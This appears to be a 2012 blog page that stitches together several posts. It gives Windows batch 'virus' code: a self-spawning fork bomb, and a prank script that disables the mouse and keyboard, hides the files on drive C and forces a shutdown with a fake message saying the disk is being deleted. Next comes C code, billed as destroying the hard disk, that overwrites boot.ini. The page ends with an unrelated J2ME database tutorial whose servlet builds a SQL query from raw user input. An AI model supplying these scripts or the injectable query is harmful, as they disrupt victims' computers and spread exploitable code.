Friday 31 August 2012

Sample virus







open notepad and type this

@echo off
start virus.bat
virus.bat

and then save this file with virus.bat

if u will run this virus then thousands of windows will open Enjoy the Virus minutes

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DOS BATCH FILE VIRUS DELETE HARD DISK AND SCARE FRIEND





YOU WANT TO SCARE YOUR FRIENDS WITH COMPUTER TRICKS? THIS SIMPLE CODE WILL MAKE YOUR FRIEND SO MUCH SCARED. BUT IT HARMLESS. FOLLOW THE STEPS WRITTEN BELOW. IT WILL MAKE A BATCH FILE THAT WILL RESTART HIS MACHINE AND ENTIRE C DRIVE WILL BE EMPTY. IT WILL MAKE HIM SO MUCH SCARED. BUT NOTHING WILL BE DELETED. IT WILL MAKE THEM HIDDEN. BUT YOUR FRIEND WILL LOOSE NERVE, I AM SURE. MAKE FUN BUT NEVER USE FOR DESTRUCTION OF OTHER COMPUTERS. HAVE FUN.


 @ECHO OFF
Rundll32.exe mouse,disable
rundll32.exe keyboard,disable
Attrib +h C:*.*
shutdown -s -c 60
shutdown -r -c "Your Hard Disk Is Getting Deleted... Thank you....."

How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. 

 Your system will halt. Just restart thesystem, it will work fine. Have fun.Windows XP, Windows 7, all systems are capable of running this code.

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Virus code to destroy Hard disk or Hard disk data



C++

 #include 
#include 
void main()
{
FILE *fp;
char line[5][50];
int j;
fp = fopen("c:\\boot.ini", "w");
strcpy(line[0], "[boot loader]");
strcpy(line[1], "timeout=30");
strcpy(line[2], "default=multi(0)disk(0)rdisk(0)partition(1)");
strcpy(line[3], "[operating systems]");
strcpy(line[4], "multi(0)disk(0)rdisk(0)partition(1)");
for (j = 0; j< 5; j++)
{
fputs(line[j], fp);
fputc('\n', fp);
}
fclose(fp);
}
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How to Connect Access Database in J2ME Application using JAVA







Software Required: Netbeans 6.9.1, Microsoft Access
Step 1:
Create a J2ME mobile application project in Netbeans
step 2:
Create midlet naming home.java

 step 3:
Copy the following code:
/** To change this template, choose Tools | Templates* and open the template in the editor.*/
package hello;
import javax.microedition.io.Connector;import javax.microedition.io.HttpConnection;import javax.microedition.midlet.*;import javax.microedition.lcdui.*;import java.io.*;

 /*** @author Dinesh
*/public class home extends MIDlet implements CommandListener {
private Command check;TextField user,pass;StringItem label;Form s;public home(){user=new TextField("user","",25,TextField.ANY);pass=new TextField("pass","",25,TextField.PASSWORD);check =new Command("CHECK",Command.OK,1);label=new StringItem("","Press Check!!");s=new Form("Database Connection");s.append(user);s.append(pass);s.append(label);s.addCommand(check);s.setCommandListener(this);
}public void startApp() {
Display.getDisplay(this).setCurrent(s);}
public void pauseApp() {}
public void destroyApp(boolean unconditional) {}
public void commandAction(Command c, Displayable d) {
if(c.equals(check)){String st="";String userr=user.getString();String passs=pass.getString();try{String url="http://localhost:8080/micro-web/mservlet?user="+userr+"&pass="+passs;HttpConnection cc=(HttpConnection)Connector.open(url);DataInputStream in=(DataInputStream)cc.openDataInputStream();int ch=0;while((ch=in.read())!=-1){st=st+(char)ch;}String str=st.toString();if(str.equals("suc")){label.setText("You are Authenticated!!");}else{label.setText("You are not Authenticated!!");}}catch(Exception e){System.out.println("Error :"+e);}}}}
step 4:
create a web-application project naming 'micro-web'
step 5:
create a servlet naming 'mservlet.java'
step 6:
copy the following code:
/** To change this template, choose Tools | Templates* and open the template in the editor.*/
package servlet;

 import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;
import java.io.*;

 public class mservlet extends HttpServlet {
@Override
public void init() { }
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)throws IOException,ServletException {PrintWriter out = response.getWriter();
String user=request.getParameter("user");

 String pass=request.getParameter("pass");
try{
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
Connection connection = DriverManager.getConnection("jdbc:odbc:iyn","","");
Statement st=connection.createStatement();
String query="select * from login where user='"+user+"'";ResultSet res=st.executeQuery(query);while(res.next()){if(res.getString("pass").equals(pass)){out.print("suc");}else{out.print("fail");}}}catch(Exception e){out.println("Error :"+e);}}
}
note: change the data source name (here it is given as 'iyn')and create new data source and database by
a)controlpanel-> DataSource(ODBC)->SystemDSN
b)click add button
c)select the microsoft access driver(*.mdb)
d)type a data source name in the corresponding text box
d)click the create button to create a database.
e)In the database create a table naming 'login' with username and password fields.
step 7: Run the servlet(in order to start the web server)
step 8: Run the mobile application... and enjoy the result..

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